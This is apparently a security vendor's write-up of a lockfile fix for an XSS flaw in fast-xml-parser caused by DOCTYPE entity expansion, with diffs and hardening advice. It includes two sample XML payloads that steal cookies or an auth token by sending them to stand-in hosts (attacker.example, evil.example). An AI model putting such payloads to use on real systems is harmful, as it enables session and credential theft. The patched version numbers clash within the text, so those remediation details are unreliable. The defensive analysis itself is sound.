How Cross-Site Scripting Happens in fast-xml-parser and How to Fix It
Introduction
The package-lock.json file in this Node.js project pins every transitive dependency to an exact version — a practice meant to guarantee reproducible builds. But a locked version is only as safe as the package it points to. In this case, two separate resolutions of fast-xml-parser were locked to vulnerable releases: the top-level dependency at ^5.2.3 and a nested dependency inside eo2js at 4.5.3. Both versions contain CVE-2026-25896, a critical Cross-Site Scripting flaw rooted in how the library processes DOCTYPE entity declarations.
Because fast-xml-parser is used to parse potentially user-supplied XML content, any weakness in its sanitization logic is a direct path from attacker-controlled input to script execution in a victim's browser.
The Vulnerability Explained
What goes wrong with DOCTYPE entities?
XML's DOCTYPE mechanism allows documents to define entities — essentially named text substitutions. A well-known abuse of this feature is the XML External Entity (XXE) attack, but CVE-2026-25896 is a different flavor: the parser improperly handles entity declarations inside a DOCTYPE in a way that allows crafted entity values to survive into the parsed output without being neutralized.
Consider a malicious XML document like this:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xss "<script>document.location='https://attacker.example/steal?c='+document.cookie</script>">
]>
<root>&xss;</root>
In the vulnerable versions (4.5.3 and 5.2.x), fast-xml-parser expands &xss; during parsing and may return the raw <script>…</script> string as the text content of the <root> node. If the calling application then renders that value into an HTML page — even something as routine as displaying a parsed XML field in a dashboard or report — the browser executes the injected script.
Why the vulnerable versions are dangerous
The vulnerable lockfile entries are explicit:
// BEFORE — vulnerable
"node_modules/eo2js/node_modules/fast-xml-parser": {
"version": "4.5.3",
"resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.3.tgz",
"integrity": "sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig=="
}
And at the top level:
// BEFORE — vulnerable (package.json constraint)
"fast-xml-parser": "^5.2.3"
Both resolutions are in production code (not devDependencies), meaning they run in every deployed environment.
Real-world attack scenario
Imagine this project exposes an API endpoint that accepts an XML payload — for example, a configuration import or a data-exchange feed — and then displays parsed field values in a web UI. An attacker submits:
<!DOCTYPE config [
<!ENTITY payload "<img src=x onerror=fetch('https://evil.example/?tok='+localStorage.getItem('authToken'))>">
]>
<config>
<name>&payload;</name>
</config>
The vulnerable parser expands the entity, the application stores or returns <img src=x onerror=…> as the name value, and when an administrator views the configuration in the browser, the onerror handler fires and silently exfiltrates the stored auth token. No user interaction beyond viewing the page is required.
The Fix
The pull request makes two targeted changes in package-lock.json (and the corresponding package.json constraint):
1. Top-level fast-xml-parser: ^5.2.3 → ^5.10.1
- "fast-xml-parser": "^5.2.3",
+ "fast-xml-parser": "^5.10.1",
This bumps the semver lower bound so npm will never resolve the top-level dependency to a version below 5.10.1, where the DOCTYPE entity handling fix is included.
2. Nested dependency inside eo2js: 4.5.3 → 4.5.7
"node_modules/eo2js/node_modules/fast-xml-parser": {
- "version": "4.5.3",
- "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.3.tgz",
- "integrity": "sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==",
+ "version": "4.5.7",
+ "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.7.tgz",
+ "integrity": "sha512-a6Qh1RMCNbSrU1+sAyAAZH3rTe+OaWJbNZIq0S+ifZciUUOQtlVxBJwoTUE2bYhysmG/RYyI5WJFIKdBahJdrQ==",
This is important: eo2js has its own pinned copy of fast-xml-parser v4 nested under node_modules/eo2js/node_modules/. Simply upgrading the top-level v5 dependency would leave this v4 copy untouched and still vulnerable. The fix explicitly overrides it to 4.5.7.
3. @nodable/entities transitive dependency: 2.2.0 → 3.0.0
"node_modules/@nodable/entities": {
- "version": "2.2.0",
+ "version": "3.0.0",
The entity-handling library that fast-xml-parser depends on for character entity resolution was also updated. Version 3.0.0 of @nodable/entities tightens the entity expansion logic that underpins the CVE fix.
Why both version branches needed patching
A common mistake when fixing dependency vulnerabilities is updating only the version you see in package.json and assuming npm install will clean everything else up. In monorepo-style or deeply nested dependency trees, npm may preserve a separate copy of the same package at a different version inside a subdirectory. The PR correctly addresses both the v5 top-level copy and the v4 nested copy, ensuring no vulnerable code path remains.
Prevention & Best Practices
1. Lock files are a security surface — audit them
package-lock.json and yarn.lock capture exact resolved versions including nested duplicates. Run npm audit or a dedicated SCA scanner (Trivy, Snyk, Socket) in CI to catch CVEs in locked versions before they reach production.
2. Disable DOCTYPE processing when you don't need it
fast-xml-parser v4+ exposes an allowDtd option. If your application never processes XML with DOCTYPE declarations, set it explicitly:
const { XMLParser } = require("fast-xml-parser");
const parser = new XMLParser({
allowDtd: false, // reject DOCTYPE declarations entirely
processEntities: false // do not expand entity references
});
Denying the feature at the configuration level is defence-in-depth even when running a patched version.
3. Always HTML-encode XML parser output before rendering
Even a patched parser might return angle brackets or quotes in legitimate data. Use a context-aware escaping library (e.g., he or the platform's built-in template escaping) when inserting parsed XML values into HTML:
const he = require("he");
const safeName = he.encode(parsedXml.config.name);
document.getElementById("name").textContent = safeName; // textContent, not innerHTML
4. Pin to a minimum safe version in package.json, not just a lockfile
Semver ranges like ^4.5.3 allow npm to resolve 4.5.3 on a clean install if the lockfile is absent. Prefer >=4.5.7 or use overrides / resolutions in package.json to force a minimum safe version across all nested copies:
// package.json
"overrides": {
"fast-xml-parser": ">=4.5.7"
}
5. Reference standards
- OWASP XSS Prevention Cheat Sheet: guides on output encoding, CSP, and safe DOM APIs
- CWE-79: Improper Neutralization of Input During Web Page Generation
- CWE-611: Improper Restriction of XML External Entity Reference (related DOCTYPE abuse)
Key Takeaways
- Both version branches of fast-xml-parser must be patched independently. The
eo2jsnested copy at4.5.3was just as dangerous as the top-level v5 copy, and upgrading only one would have left a live attack surface. - DOCTYPE entity expansion is an underappreciated XSS vector in XML parsers. Unlike classic reflected XSS, the payload can be stored in a data field and trigger silently when rendered — making it persistent by default.
@nodable/entitiesversion2.2.0was part of the vulnerable chain. The entity resolution library itself needed to be updated to3.0.0alongside the parser upgrade.allowDtd: falseis a zero-cost hardening option in fast-xml-parser that eliminates this entire class of attack for applications that don't require DOCTYPE support.- Trivy's lockfile scanning caught this before any exploit. Scanning
package-lock.json— not justpackage.json— is what surfaced the nested4.5.3copy that would otherwise have been invisible to a simple dependency audit.
How Orbis AppSec Detected This
- Source: User-supplied or externally fetched XML content processed by
fast-xml-parser, entering through any code path that calls the parser with untrusted input. - Sink: The
fast-xml-parserentity expansion routine in versions4.5.3and<5.10.1, which returns unescaped entity-expanded strings as parsed node values — values that downstream code may render into HTML. - Missing control: No sanitization or restriction of DOCTYPE/entity declarations in the parser configuration; no version guard preventing resolution of the vulnerable
4.5.3nested copy insideeo2js. - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).
- Fix: Upgraded
fast-xml-parserto^5.10.1(top-level) and4.5.7(nested undereo2js), and bumped@nodable/entitiesto3.0.0, as reflected in the updatedpackage-lock.json.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-25896 is a sharp reminder that XML parsing is not a passive, read-only operation — DOCTYPE entity expansion can turn an XML parser into a script injection engine. In this project, two separate resolutions of fast-xml-parser (one at v4.5.3 nested inside eo2js, one at v5.2.x at the top level) both carried the flaw, and fixing only one would have left the application exposed. The correct remediation — upgrading both to their respective patched releases and updating the underlying @nodable/entities library — closes the attack surface completely. Pair that with the allowDtd: false configuration option and strict output encoding, and this class of vulnerability becomes extremely difficult to exploit even if a future parser regression were introduced.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation
- CWE-611: Improper Restriction of XML External Entity Reference
- OWASP XSS Prevention Cheat Sheet
- OWASP XML Security Cheat Sheet
- fast-xml-parser npm package
- Semgrep rules for XSS
- fix: upgrade fast-xml-parser to 5.3.5, 4.5.4 (CVE-2026-25896)